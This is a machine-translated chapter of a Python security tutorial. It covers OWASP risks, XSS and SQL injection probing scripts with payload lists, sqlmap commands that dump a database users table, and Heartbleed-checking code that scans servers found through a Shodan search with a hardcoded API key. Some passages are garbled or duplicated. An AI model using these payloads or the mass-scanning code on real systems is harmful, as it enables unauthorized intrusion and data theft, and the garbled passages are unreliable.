Skip to content

Latest commit

 

History

History
835 lines (531 loc) · 43.7 KB

File metadata and controls

835 lines (531 loc) · 43.7 KB

十一、识别 Web 应用中的服务器漏洞

本章介绍了 web 应用中的主要漏洞以及我们可以在 python 生态系统中找到的工具,例如作为 web 应用中漏洞扫描工具的 w3af,以及用于检测 sql 漏洞的 sqlmap。关于服务器漏洞,我们将在激活 openssl 的服务器中测试 heartbleed 和 SSL 漏洞。

本章将介绍以下主题:

  • 使用 OWASP 的 web 应用中的漏洞
  • w3af 作为 web 应用中的漏洞扫描器
  • 如何使用 python 工具发现 sql 漏洞
  • 用于测试 heartbleed 和 SSL/TLS 漏洞的 Python 脚本

技术要求

本章的示例和源代码可在 GitHub 存储库的chapter11文件夹中找到:

https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security

您需要在本地计算机上安装至少有 4GB 内存的 Python 发行版。

脚本可以用 Python2.7 和 3.x 版本执行,w3af 在 Unix 发行版(如 Ubuntu)中测试。

使用 OWASP 在 web 应用中引入漏洞

开放式 Web 应用安全项目(OWASP)前 10 名列出了 10 个最关键的 Web 应用安全风险。在本节中,我们将对 OWASP 前 10 个漏洞进行评论,并详细解释跨站点脚本(XSS)漏洞。

OWASP 简介

开放式 Web 应用安全项目是了解如何保护您的 Web 应用免受不良行为影响的极好资源。存在多种应用安全漏洞。OWASP 在 OWASP 十大项目中排名前十的应用安全风险:https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2017_Project

完整分类可在章节文件夹内 GitHub 存储库中的共享OWASP.xlsxExcel 文件中找到:

在此,我们可以突出显示以下代码:

  • **OTG-INFO-001 信息泄露:**我们可以利用 Bing、Google 和 Shodan 等搜索引擎,通过这些搜索引擎提供的运营商或傻瓜来搜索信息泄露。例如,我们可以看到 Shodan 给我们提供了什么信息,因为我们对 IP 或域进行了搜索,通过 Shodan 的服务,我们可以看到它公开的服务和开放的端口。
  • **OTG-INFO-002 Web 服务器指纹识别:**我们将尝试了解我们的目标网站正在使用哪种服务器,因为我们使用的是我们可以在 Kali Linux 发行版中找到的 whatweb 工具。
  • **在服务器文件中找到 OTG-INFO-003 元数据:**此时,我们可以使用 Foca 或 Metagoofil 等工具提取网站上发布的文档中的元数据。
  • **OTG-INFO-004 子域和服务器应用枚举:**我们将使用工具,为我们提供有关服务器应用中可能打开的子域、DNS 服务器、服务和端口的信息。
  • **OTG-INFO-005 注释和 Web 元数据:**我们可以在程序员用来调试代码的 Web 注释中找到泄漏信息。
  • **OTG-INFO-006 和 OTG-INFO-007 识别入口点和网站地图:**我们可以检测网络入口的所有端点(带有GETPOST的请求和回答),我们将使用反向网络代理(ZAP、Burp 或 WebScarab)并以这样一种方式使用它的爬行器:它生成一张完整的网络及其入口点的地图。
  • **OTG-INFO-008 指纹识别 Web 应用框架:**了解开发 Web 所使用的框架类型,例如编程语言和技术。我们可以在 HTTP 头、cookies、HTML 代码以及不同的文件和文件夹中找到所有这些信息。当我们使用 whatweb 工具时,我们可以看到 JQuery 正在使用 CMS 使用的其他特定技术。
  • **OTG-INFO-009 指纹识别 Web 应用:**它是关于找出是否使用了某种 CMS 来开发 Web:WordPress、Joomla 或其他类型的 CMS。
  • OTG-IOF-Foo-010 Server 体系结构:Ont1,我们可以在通信的中间检查是否有任何类型的防火墙。对于此任务,我们可以执行某种类型的端口扫描,并查看是否没有 Web 应用防火墙,例如,由于端口 80 未过滤。

OWASP 常见攻击

让我们看看一些最常见的攻击:

  • SQL 注入:当用户提供的数据作为查询的一部分未经过滤地发送给解释器,以修改原始行为、执行命令或数据库中的任意查询时,会发生 SQL 代码注入。攻击者在请求中发送原始 SQL 语句。如果服务器使用某些请求内容构建 SQL 查询,则可能会对数据库执行攻击者的请求。不过,在 Python 中,如果您使用SQLAlchemy并完全避免使用原始 SQL 语句,您将是安全的。如果使用原始 SQL,请确保每个变量都正确引用。我们可以在上找到关于这种注射的更多信息和 owasp 文档 https://www.owasp.org/index.php/SQL_Injection

  • **跨站点脚本(XSS):**此攻击仅发生在显示某些 HTML 的网页上。攻击者使用一些查询属性试图在页面上插入他们的一段javascript代码,诱骗用户执行某些操作,以为他们在合法网站上。XSS 允许攻击者在受害者的浏览器中执行脚本,从而劫持用户会话、破坏网站或将用户指向恶意网站(https://www.owasp.org/index.php/XSS )。

  • **跨站点请求伪造(XSRF/CSRF):**此攻击基于通过重用来自其他网站的用户凭据来攻击服务。典型的 CSRF 攻击发生在 POST 请求中。例如,恶意网站显示指向用户的链接,以欺骗该用户使用其现有凭据在您的网站上执行 POST 请求。CSRF 攻击迫使经过身份验证的受害者的浏览器向易受攻击的 web 应用发送伪造的 HTTP 请求,包括用户的会话 cookie 和任何其他自动包含的身份验证信息。这允许攻击者强制受害者的浏览器生成易受攻击的应用解释为合法的请求(https://www.owasp.org/index.php/CSRF )。

  • **敏感数据暴露:**许多 web 应用没有充分保护敏感数据,例如信用卡号或身份验证凭据。攻击者可以窃取或修改此类数据以进行欺诈、身份盗窃或其他犯罪。敏感数据需要额外的保护方法,如数据加密,以及与浏览器交换数据时的特殊预防措施(https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure )。

  • **未验证的重定向和转发:**Web 应用经常将用户重定向和转发到其他页面或网站,并使用不可信数据确定登录页面。如果没有正确的验证,攻击者可以将受害者重定向到网络钓鱼或恶意软件站点,或者使用转发来访问未经授权的页面。

  • **命令注入攻击。**命令注入是指在任何时候使用 popen、子进程、os.system 调用进程,并从变量中获取参数。调用本地命令时,可能有人将这些值设置为恶意的值(https://docs.python.org/3/library/shlex.html#shlex.quote )。

有关 python 和 Django 应用中 XSS 和 CSRF 漏洞的更多信息,请参见https://docs.djangoproject.com/en/2.1/topics/security/

测试跨站点脚本(XSS)

跨站点脚本是一种注入攻击,以浏览器端脚本的形式注入攻击向量时会发生这种攻击。

为了测试网站是否容易受到 XSS 攻击,我们可以使用下面的脚本,从包含所有可能攻击向量的XSS-attack-vectors.txt文件中读取。如果由于请求站点与有效负载一起分析,我们获得的信息与用户发送给用户的信息相同,并且再次显示给用户,那么我们就有了明显的漏洞案例。

您可以在 XXS 文件夹的URL_xss.py文件中找到以下代码:

import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = 'http://testphp.vulnweb.com/search.php?test=query'
data ={}

response = requests.get(url)
with open('XSS-attack-vectors.txt') as file:
    for payload in file:
        for field in BeautifulSoup(response.text, "html.parser",parse_only=SoupStrainer('input')):
            print(field)
            if field.has_attr('name'):
                if field['name'].lower() == "submit":
                    data[field['name']] = "submit"
                else:
                    data[field['name']] = payload

        response = requests.post(url, data=data)
        if payload in response.text:
            print("Payload "+ payload +" returned")
        data ={}

您可以在 XXS 文件夹的XSS-attack-vectors.txt文件中找到以下代码:

<SCRIPT>alert('XSS');</SCRIPT>
<script>alert('XSS');</script>
<BODY ONLOAD=alert('XSS')>
<scrscriptipt>alert('XSS');</scrscriptipt>
<SCR%00IPT>alert(\"XSS\")</SCR%00IPT>

在这个屏幕截图中,我们可以看到上一个脚本的执行情况,URL_xss.py

我们可以在testphp.vulnweb.com网站上检查此漏洞:

如果我们在搜索字段中输入一个向量攻击,我们可以看到它执行我们在脚本标记之间注入的相同代码:

web 应用中的 W3af 扫描器漏洞

W3af 是 web 应用攻击和审核框架的首字母缩写,是一个开源漏洞扫描器,可用于审核 web 安全性。

W3af 概述

W3af 是一款针对 web 应用的安全审计工具,分为AttackAuditExploitDiscoveryEvasionBrute Force几个模块。W3af 中的这些模块带有几个辅助模块,例如,如果我们需要测试 web 应用中的跨站点脚本(XSS)漏洞,我们可以在Audit模块中选择 XSS 选项,假设有必要执行某种审计。

W3af 的主要特点是其审计系统完全基于 Python 编写的插件,因此它能够创建一个易于扩展的框架和一个用户社区,在可能出现的 web 安全故障面前为新插件的编程做出贡献。

检测和利用可用插件的漏洞包括:

  • CSRF
  • XPath 注入
  • 缓冲区溢出
  • SQL 注入
  • XSS
  • LDAP 注入
  • 远程文件包含

在这个屏幕截图中,我们可以看到带有文档链接的 w3af 官方网站:

我们有一组预配置的配置文件,例如 OWASP TOP 10,它执行全面的漏洞分析:

它是一个框架,允许对 web 应用进行不同类型的测试,以确定此应用可能存在哪些漏洞,并根据这些漏洞对 web 基础设施或其客户端可能产生的影响详细说明其严重程度。

一旦分析完成,w3af 将显示有关指定网站上发现的漏洞的详细信息,这些漏洞可能会因其他攻击而受损。

在“结果”选项卡中,我们可以看到特定网站的扫描结果:

说明页签中,我们可以看到 sql 注入漏洞的说明:

此外,我们在站点中还发现了跨站点脚本(XSS)漏洞

该分析结果的完整报告可在共享的testphp_vulnweb_com.pdf文件中获得。

在本报告中,我们可以看到受所有检测到的漏洞影响的文件,例如 sql 注入:

W3AF 配置文件

W3AF 中的概要文件是启用插件的保存配置,通常集中于特定的目标。这些类型的关联是在启动信息收集过程时进行的。使用概要文件允许我们只启用那些对某个目标感兴趣的插件,而禁用其余的插件。

在这些配置文件中,我们可以突出显示:

  • **蛮力:**它允许我们通过蛮力流程从身份验证表单获取凭证。

  • **审计高风险:**允许您识别风险最大的漏洞,如 SQL 注入和 XSS。

  • **完整的审计手册光盘:**它允许我们手动进行发现,并在网站上搜索已知漏洞。

  • **全面审计:**它允许使用 webSpider 插件对网站进行全面审计。

  • **OWASP_TOP10:**允许您在 OWASP 的主要安全漏洞中进行搜索。有关安全漏洞的更多信息,请查看:http://www.owasp.org/index.php/OWASP_Top_Ten_Project

  • **网络基础设施:**使用所有可用技术获取网络基础设施的指纹。

  • **快速扫描:**它允许我们只使用最快的审计插件对网站进行快速扫描。

W3af 安装

W3af 是一个需要很多依赖项的 Python 工具。W3af 安装的具体细节可以在官方文档中找到:http://docs.w3af.org/en/latest/install.html

安装它的要求是:

  • Python 2.5 或更高版本**:**apt-get install python
  • Python 包**:**apt-get install nltk python-nltk python-lxml python-svn python-fpconst python-pygooglechart python-soappy python-openssl python-scapy python-lxml python-svn

源代码在 GitHub 存储库(中提供 https://github.com/andresriancho/w3af

现在,为了证明整个环境配置正确,只需转到框架已下载的目录并执行./w3af_console命令即可。

如果发现环境中正确配置了所有库,这将打开 w3af 控制台,准备接收命令。要从同一目录执行 GTK 接口,请执行./w3af_gui

此命令将打开我们在概述部分中看到的图形用户界面。

Python 中的 W3af

要从任何 Python 脚本中使用 W3AF,必须了解其实现的某些细节,以及允许以编程方式与框架交互的主要类。

框架中包含了几个类,但是管理整个攻击过程最重要的是core.controllers.w3afCore模块的w3afCore类。该类的实例包含启用插件、确定攻击目标、管理配置文件以及最重要的启动、中断和停止攻击过程所需的所有方法和属性。

https://github.com/andresriancho/w3af-module

我们可以在 GitHub 存储库中的此文件夹中找到主控制器:

https://github.com/andresriancho/w3af-module/tree/master/w3af-repo/w3af/core/controllers

w3afCore类的一个实例具有 plugins 属性,该属性允许执行多种类型的操作,例如列出特定类别的插件、激活和停用插件或为那些可配置的插件设置配置选项。

您可以在 w3af 文件夹的w3af_plugins.py文件中找到以下代码:

from w3af.core.controlles.w3afCore import w3afCore

w3af = w3afCore()

#list of plugins in audit category
pluginType = w3af.plugins.get_plugin_list('audit')
for plugin in pluginType:
    print 'Plugin:'+plugin

#list of available plugin categories
plugins_types = w3af.plugins.get_plugin_types()
for plugin in plugins_types:
    print 'Plugin type:'+plugin

#list of enabled plugins
plugins_enabled = w3af.plugins.get_enabled_plugin('audit')
for plugin in plugins_enabled:
    print 'Plugin enabled:'+plugin

w3af 的另一个有趣特性是,它允许您管理配置文件,其中包括与启用的配置文件和攻击目标相对应的配置文件。

您可以在 GitHub 存储库中 w3af 文件夹的w3af_profiles.py文件中找到以下代码:

from w3af.core.controlles.w3afCore import w3afCore

w3af = w3afCore()

#list of profiles
profiles = w3af.profiles.get_profile_list()
for profile in profiles:
    print 'Profile desc:'+profile.get_desc()
    print 'Profile file:'+profile.get_profile_file()
    print 'Profile name:'+profile.get_name()
    print 'Profile target:'+profile.get_target().get("target")

w3af.profiles.use_profile('profileName')
w3af.profiles.save_current_to_new_profile('profileName','Profile description')

使用 Python 工具发现 sql 漏洞

本节介绍如何使用 sqlmap 渗透测试工具测试网站是否不受 SQL 注入的影响。sqlmap 是一个自动工具,用于查找和利用在查询参数中注入值的 SQL 注入漏洞。

SQL 注入简介

OWASP 前 10 名将注射作为#1 风险。如果应用存在 SQL 注入漏洞,攻击者可以读取数据库中的数据。包括机密信息和散列密码(或者更糟的是,应用将密码保留为纯文本)。

SQL 注入是一种利用未经验证的输入漏洞窃取数据的技术。它是一种代码注入技术,攻击者在其中执行控制 web 应用数据库的恶意 SQL 查询。通过正确的查询集,用户可以访问存储在数据库中的信息。例如,考虑下面的 T0 段:

$variable = $_POST['input'];
mysql_query("INSERT INTO `table` (`column`) VALUES ('$variable')");

如果用户输入“value’); DROP TABLE table;–”作为输入,则它在 sql 查询中转换的原始查询将更改数据库:

INSERT INTO `table` (`column`) VALUES('value'); DROP TABLE table;--')

识别易受 SQL 注入攻击的页面

识别存在 SQL 注入漏洞的网站的一种简单方法是在 URL 中添加一些字符,如引号、逗号或句点。例如,如果页面是用 PHP 编写的,并且您有一个 URL,可以在其中传递搜索参数,那么您可以尝试在末尾添加一个参数。

注入基本上是使用 SQL 查询,如 union 和 select 以及著名的 join。只需在页面的 URL 中进行操作,例如输入以下行,直到找到上面显示的错误并找到易于访问或易受访问的表的名称。

如果您观察http://testphp.vulnweb.com/listproducts.php?cat=1 ,其中“GET”参数 cat 可能容易受到 SQL 注入的攻击,攻击者可以访问数据库中的信息。

检查网站是否易受攻击的一个简单测试是用星号(*)替换 get 请求参数中的值。例如,在以下 URL 中:

http://testphp.vulnweb.com/listproducts.php?cat=*

如果这导致了前面的错误,我们可以肯定地说该网站容易受到 sql 注入的攻击。

在这个屏幕捕获中,当我们试图在易受攻击的参数上使用攻击向量时,我们可以看到数据库返回的错误:

使用 Python,我们可以构建一个简单的脚本,从sql-attack-vector.txt文本文件读取可能的 sql 攻击向量,并检查注入特定字符串后的输出。我们的目标是从一个 url 开始,在该 url 中我们识别易受攻击的参数,并将原始 url 与攻击向量相结合。

您可以在sql_injection文件夹的test_url_sql_injection.py文件中找到以下代码:

import requests

url = "http://testphp.vulnweb.com/listproducts.php?cat="

with open('sql-attack-vector.txt') as file:
for payload in file:
    print ("Testing "+ url + payload)
    response = requests.post(url+payload)
    #print(response.text)
    if "mysql" in response.text.lower():
        print("Injectable MySQL detected")
        print("Attack string: "+payload)
    elif "native client" in response.text.lower():
        print("Injectable MSSQL detected")
        print("Attack string: "+payload)
    elif "syntax error" in response.text.lower():
        print("Injectable PostGRES detected")
        print("Attack string: "+payload)
    elif "ORA" in response.text.lower():
        print("Injectable Oracle detected")
        print("Attack string: "+payload)
    else:
        print("Not Injectable")

您可以在sql_injection文件夹的sql-attack-vector.txt文件中找到以下代码:

" or "a"="a
" or "x"="x
" or 0=0 #
" or 0=0 --
" or 1=1 or ""="
" or 1=1--

执行test_url_sql_injection.py时,我们可以看到易受多种向量攻击的可注入 cat 参数:

介绍 SQLmap

SQLmap 是用 Python 编写的最著名的工具之一,用于检测漏洞,如 SQL 注入。为此,该工具允许通过 GET 或 POST 请求请求指定 URL 的参数,并检测域是否因参数未正确验证而易受攻击。此外,如果它检测到任何漏洞,它可以攻击服务器以发现表名、下载数据库并自动执行 SQL 查询。

上阅读有关 sqlmap 的更多信息 http://sqlmap.org

Sqlmap 是一个自动工具,用于查找和利用 Python 编写的 SQL 注入漏洞。它可以使用各种技术发现 SQL 注入漏洞,例如基于布尔的盲查询、基于时间的查询、基于联合查询和堆叠查询。

Sqlmap 当前支持以下数据库:

  • MySQL
  • 神谕
  • PostgreSQL
  • Microsoft SQL Server

一旦在目标主机上检测到 SQL 注入,您可以从多种选项中进行选择:

  • 执行广泛的后端 DBMS 指纹
  • 检索 DBMS 会话用户和数据库
  • 枚举用户、密码哈希、权限和数据库
  • 转储整个 DBMS 表/列或用户特定的 DBMS 表/列
  • 运行自定义 SQL 语句

安装 SQLmap

Sqlmap 预装了一些面向安全任务的 linux 发行版,如 kali linux,这是大多数渗透测试人员的首选。但是,您可以使用apt-get命令在其他基于 debian 的 linux 系统上安装sqlmap

sudo apt-get install sqlmap

我们还可以从 GitHub 存储库中的源代码安装它–https://github.com/sqlmapproject/sqlmap

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

您可以通过-h选项查看可传递给sqlmap.py脚本的参数集:

我们将用于基本 SQL 注入的参数如上图所示:

使用 SQLMAP 测试网站的 SQL 注入漏洞

以下是获取 sql 注入漏洞背后数据库的所有信息的主要步骤:

步骤 1:列出已有数据库的信息

首先,我们必须输入要与-u 参数一起检查的 web url。如果我们希望使用代理测试网站,我们也可以使用–tor参数。现在,我们通常需要测试是否可以访问数据库。对于这个任务,我们可以使用--dbs选项,它列出了所有可用的数据库。

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

在执行上一个命令时,我们观察到存在两个数据库,acuartinformation_schema

我们得到以下输出,显示有两个可用的数据库。有时,应用会告诉您它已经识别了数据库,并询问您是否要测试其他数据库类型。你可以继续输入“Y”。此外,它可能会询问您是否要测试其他参数是否存在漏洞,请在此处键入“Y”,因为我们希望彻底测试 web 应用。

步骤 2:列出特定数据库中存在的表的信息

要尝试访问任何数据库,我们必须修改命令。现在,我们使用-D 来指定我们希望访问的数据库的名称,一旦我们访问了数据库,我们就想看看是否可以访问这些表。

对于此任务,我们可以使用--tables查询访问 acuart 数据库:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1  -D acuart --tables

在下图中,我们看到已经恢复了八个表。通过这种方式,我们肯定知道该网站易受攻击:

步骤 3:列出特定表的列信息

如果要查看某个表的列,可以使用下面的命令,使用-T指定表名,使用**--columns**查询列名。

这是我们可以尝试访问“用户”表的命令:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1  -D acuart -T users
--columns

步骤 4:从列转储数据

类似地,我们可以使用以下命令访问特定表中的所有信息,**--**dump查询从 users 表中检索所有数据:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --dump

从下图中,我们可以看到我们已经访问了数据库中的数据:

其他命令

类似地,在易受攻击的网站上,我们可以通过数据库进行浏览,用其他命令提取信息。

使用此命令,我们可以从数据库中获取所有用户:

$ python sqlmap.py -u [URL] --users
sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=*" --users

在此,我们获得在数据库管理系统中注册的用户:

使用此命令,我们可以从表中获取列:

$ python sqlmap.py -u [URL] -D [Database] -T [table] --columns
sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=*" -D acuart -T users --columns

这里,我们从 users 表中获取列:

使用此命令,我们可以获得一个交互式 shell:

$ python sqlmap.py -u [URL] --sql-shell
sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=*" --sql-shell

在这里,我们获得了一个 shell,用于使用 sql 语言查询与数据库交互:

用于检测 SQL 注入漏洞的其他工具

在 Python 生态系统中,我们可以找到其他工具,如 DorkMe 和 XScrapy,用于发现 sql 注入漏洞。

多克梅

DorkMe 是一个工具,旨在通过 Google Dorks 更轻松地搜索漏洞,例如 SQL 注入漏洞(https://github.com/blueudp/DorkMe )。

您还需要安装pip install Google-Search-APIPython 包。

我们可以使用requirements.txt文件检查依赖项,并使用以下文件安装它们:

pip install -r requirements.txt

以下是脚本提供的选项:

我们可以检查前面章节中与 sqlmap 使用的相同的url,我们可以使用为测试推荐的--dorks vulns -v选项参数:

python DorkMe.py --url http://testphp.vulnweb.com/listproducts.php --dorks vulns -v

我们可以看到,我们获得的 sql 注入漏洞影响很大:

沙皮

XSScrapy 是基于 Scrapy 的应用,它允许我们查找 XSS 漏洞和 SQL 注入类型漏洞。

源代码可在 GitHub 存储库中获得:https://github.com/DanMcInerney/xsscrapy

要在我们的机器上安装它,我们可以克隆存储库并执行python pip命令和requirements.txt文件,其中包含应用使用的 Python 依赖项和模块:

$ git clone https://github.com/DanMcInerney/xsscrapy.git
$ pip install -r requirements.txt

您需要安装的主要依赖项之一是scrapyhttps://scrapy.org/

Scrapy 是 Python 的一个框架,允许您perform webscraping tasks, web crawling processes, and data analysis,它允许我们递归地扫描网站的内容,并对所述内容应用一组规则来提取可能对我们有用的信息。

这些是 Scrapy 中的主要元素:

  • **解释器:**允许快速测试,以及创建具有定义结构的项目。
  • **spider:**代码例程,负责向客户端给定的域列表发出 HTTP 请求,并对 HTTP 请求返回的内容应用正则表达式或 XPATH 表达式形式的规则。
  • **XPath 表达式:**使用 XPath 表达式,我们可以获得想要提取的信息的相当详细的级别。例如,如果我们想从页面中提取下载链接,那么获取元素的 Xpath 表达式并访问 href 属性就足够了。
  • **项:**Scrapy 使用一种基于 XPATH 表达式的机制,称为“XPATH 选择器。这些选择器负责应用开发人员定义的 Xpath 规则,并组成包含提取信息的 Python 对象。这些项目就像信息的容器,它们允许我们按照返回所获取内容时应用的规则存储信息。它们包含我们要提取的信息字段。

在这个屏幕截图中,我们可以在官方网站上看到最新的 scrapy 版本:

您可以使用pip install scrapy命令安装它。也可以在 conda 存储库中使用,您可以使用conda install -c conda-forge scrapy命令安装它。

**XSPrapy 以命令行模式运行,并具有以下选项:

最常用的选项是将要分析的 URL(-u/URL)参数化,并且从根 URL 开始,该工具能够跟踪内部链接以分析后续链接。

另一个有趣的参数是允许我们针对我们正在分析的站点建立最大并发连接数(-c/-连接),这对于防止防火墙或 IDS 系统检测到攻击并阻止来自 IP 的请求非常实用。

此外,如果网站需要身份验证(摘要或基本),则可以使用-l(登录)和-p(密码)参数指示用户登录和密码。

我们可以尝试在以前发现 XSS 漏洞的站点上执行此脚本:

python xsscrapy.py -u http://testphp.vulnweb.com

在这个脚本的执行过程中,我们可以看到它检测到一个 php 站点中的sql注入:

此分析的执行结果可在 GitHub 存储库中的testphp.vulnweb.com.txt共享文件中获得。

测试 heartbleed 和 SSL/TLS 漏洞

本节介绍如何使用 sqlmap 渗透测试工具测试网站是否不受 SQL 注入的影响。sqlmap 是一个自动工具,用于查找和利用 SQL 注入漏洞,在查询的参数中注入值。

介绍 OpenSSL

Openssl 是 SSL 和 TLS 协议的实现,广泛用于所有类型的服务器;internet 上相当高比例的服务器使用它来确保客户端和服务器之间使用强加密机制进行通信。

然而,在其多年的开发过程中,它的实现多次受到侵犯,影响了用户信息的机密性和隐私性。已公布的一些漏洞已得到纠正;但是,应该应用于易受攻击的 OpenSSL 版本的安全修补程序并没有尽快应用,因此在互联网上留下了易受攻击的服务器,我们可以在 Shodan 找到这些服务器。

在 Shodan 中查找易受攻击的服务器

我们可以很容易地制作一个脚本来获取服务器的结果,该服务器可能由于易受攻击的 OpenSSL 版本而容易受到 heartbleed 的攻击。

您可以在heartbleed_shodan文件夹的ShodanSearchOpenSSL.py文件中找到以下代码:

import shodan
import socket
SHODAN_API_KEY = "v4YpsPUJ3wjDxEqywwu6aF5OZKWj8kik"
api = shodan.Shodan(SHODAN_API_KEY)
# Wrap the request in a try/ except block to catch errors
try:
    # Search Shodan OpenSSL/1.0.1
    results = api.search('OpenSSL/1.0.1')
    # Show the results
    print('Total Vulnerable servers: %s' % results['total'])
    for result in results['matches']:
        print('IP: %s' % result['ip_str'])
        print('Hostname: %s' % socket.getfqdn(result['ip_str']))
        print(result['data'])
except shodan.APIError as e:
    print('Error: %s' % e)

如图所示,易受攻击且具有 OpenSSL v1.0 的服务器总数为 3900:

如果我们从 web 界面发出请求,我们会看到更多的结果:

攻击者可以尝试访问这些服务器中的任何一个;为此,您可以使用中的漏洞 https://www.exploit-db.com/exploits/32745 URL。在下一节中,我们将分析此漏洞以及如何利用它。

心脏出血漏洞(OpenSSL CVE-2014-0160)

漏洞 CVE-2014-0160,也称为 Heartbleed,被认为是迄今为止互联网上最大的安全故障之一。

它是OpenSSL包中最关键的漏洞之一。要了解此漏洞的影响,有必要了解“心跳”扩展的操作,它一直是 OpenSSL 操作的核心元素,因为它允许我们提高使用加密通道(如 SSL)的客户端和服务器的性能。

要与服务器建立 SSL 连接,必须完成一个称为“握手”的过程,包括交换对称和非对称密钥,以在客户端和服务器之间建立加密连接。这一过程在时间和计算资源方面相当昂贵。

HeartBeat 是一种机制,它允许我们优化建立握手的时间,使服务器能够指示在客户端使用 SSL 会话时必须维护 SSL 会话。

该机制是客户端插入有效载荷,并在结构的一个字段中指示所述有效载荷的长度。随后,服务器接收到所述分组,并负责编写具有称为TLS1_HB_RESPONSE的结构的响应消息,该响应消息将仅由在TLS1_HB_REQUEST结构的长度中指示的“n”字节组成。

OpenSSL 中引入的实现问题存在于对TLS_HB_REQUEST结构中发送的数据长度的错误验证中,因为当它要组成TLS1_HB_RESPONSE结构时,服务器负责定位TLS_HB_REQUEST结构在服务器内存中的确切位置并读取“n”有效负载基于长度字段中设置的值的字段字节数。

这意味着攻击者可以发送带有数据字节的有效负载,并在长度字段中设置任意值,该值通常小于或等于 64 KB,服务器将发送包含 64 KB 存储在服务器内存中的信息的TLS1_HB_RESPONSE消息。

这些数据可能包含敏感的用户信息和系统密码,因此这是一个影响数百万服务器的非常严重的漏洞,因为 OpenSSL 是 Apache 和 Ngnix 服务器广泛使用的实现。正如我们在 Shodan 中看到的,今天仍然有使用 1.0.1 版的服务器,并且大多数服务器可能会受到攻击。

您可以在heartbleed_shodan文件夹的Test_heartbeat_vulnerability.py中找到代码。

该脚本尝试在指定端口与服务器进行握手,然后负责发送具有恶意结构的数据包TLS1_HB_REQUEST

如果服务器返回的数据包是“24”类型,则表示是具有TLS1_HB_RESPONSE结构的响应,如果有效载荷大于请求包中发送的有效载荷的大小,可以认为服务器易受攻击,并且它已返回与服务器内存相关的信息,否则将假定服务器已处理恶意请求,但未返回任何其他数据。这表明没有信息泄漏,服务器没有易受攻击。

在易受攻击的服务器上运行脚本后,输出将与此处显示的类似:

要在激活 openssl 的服务器中检测此错误,我们会发送一个特定的请求,如果响应服务器等于特定的 heartbleed 负载,则服务器易受攻击,您可以访问理论上应使用 ssl 保护的信息。

来自服务器的响应包括存储在进程内存中的信息。除了是影响许多服务的严重漏洞外,检测易受攻击的目标并定期从服务器内存中提取数据块非常容易。

我们可以将 shodan 搜索与检查服务器中的 heartbleed 漏洞结合起来。

对于此任务,我们定义了用于检查与“OpenSSL 1.0.1”Shodan 搜索匹配的每个服务器的漏洞的shodanSearchVulnerable()checkVulnerability()方法。

对于 python 2.x,您可以在heartbleed_shodan文件夹中的testShodan_openssl_python2.py中找到代码。

****对于 python 3.x,您可以在heartbleed_shodan文件夹中的testShodan_openssl_python3.py中找到代码。

****在下面的代码中,我们回顾了我们可以开发的用于搜索 shodan 服务器的主要方法,这些服务器由于 openssl 版本易受攻击而易受攻击,我们还需要检查端口 443 是否已打开:

def shodanSearchVulnerable(self,query):
    results = self.shodanApi.search(query)
    # Show the results
    print('Results found: %s' % results['total'])
    print('-------------------------------------')
    for result in results['matches']:
        try:
            print('IP: %s' % result['ip_str'])
            print(result['data'])
            host = self.obtain_host_info(result['ip_str'])
            portArray = []
            for i in host['data']:
                port = str(i['port'])
                portArray.append(port)
            print('Checking port 443........................')
            #check heartbeat vulnerability in port 443
            checkVulnerability(result['ip_str'],'443')
        except Exception as e:
            print('Error connecting: %s' % e)
            continue
        except socket.timeout:
            print('Error connecting Timeout error: %s' % e)
            continue

    print('-----------------------------------------------')
    print('Final Results')
    print('-----------------------------------------------')
    if len(server_vulnerable) == 0:
        print('No Server vulnerable found')
    if len(server_vulnerable) > 0:
        print('Server vulnerable found ' + str(len(server_vulnerable)))

    for server in server_vulnerable:
        print('Server vulnerable: '+ server)
        print(self.obtain_host_info(server))

一旦我们定义了在 shodan 中搜索的方法并检查port 443已打开,我们就可以使用socket模块特定的心脏出血漏洞进行检查:

def checkVulnerability(ip,port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print('Connecting with ...' + ip + ' Port: '+ port)
        sys.stdout.flush()
        s.connect((ip, int(port)))
        print('Sending Client Request...')
        sys.stdout.flush()
        s.send(hello)
        print('Waiting for Server Request...')
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print('Server closed connection without sending Server Request.')
                break
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break
            print('Sending heartbeat request...')
            sys.stdout.flush()
            s.send(hb)
            if hit_hb(s):
                server_vulnerable.append(ip)
    except socket.timeout:
        print("TimeOut error")

用于测试 openssl 漏洞的其他工具

在本节中,我们将介绍一些可用于测试与 heartbleed 和证书相关的 openssl 漏洞的工具。

心脏出血质量试验

这个工具允许我们通过多线程高效地扫描多个主机的心脏出血。此测试针对易受 Heartbleed 攻击的 OpenSSL 版本,而不利用服务器,因此心跳请求不会导致服务器从内存泄漏任何数据或以未经授权的方式暴露任何数据:https://github.com/musalbas/heartbleed-masstest

使用 nmap 端口扫描器扫描心脏出血

Nmap 有一个 Heartbleed 脚本,它可以很好地检测易受攻击的服务器。该脚本可在 OpenSSL Heartbleed nmap 脚本页面上找到:

http://nmap.org/nsedoc/scripts/ssl-heartbleed.html

https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse

在 Windows 操作系统中,默认情况下,脚本位于C:\Program Files (x86)\Nmap\scripts路径中。

在 Linux 操作系统中,默认情况下,脚本位于/usr/share/nmap/scripts/路径中。

nmap -p 443script ssl-heartbleed [IP Address]

我们需要做的就是使用 Heartbleed 脚本并添加目标站点的 IP 地址。如果我们正在分析的目标易受攻击,我们将看到:

使用 SSLyze 脚本分析 SSL/TLS 配置

SSLyze 是一个 Python 工具,它与 Python3.6 配合使用,并分析服务器的 SSL 配置以检测诸如坏证书和危险密码套件之类的问题。

此工具可在pypi存储库中获得,您可以从源代码或使用 pip install 命令进行安装:

https://pypi.org/project/SSLyze/

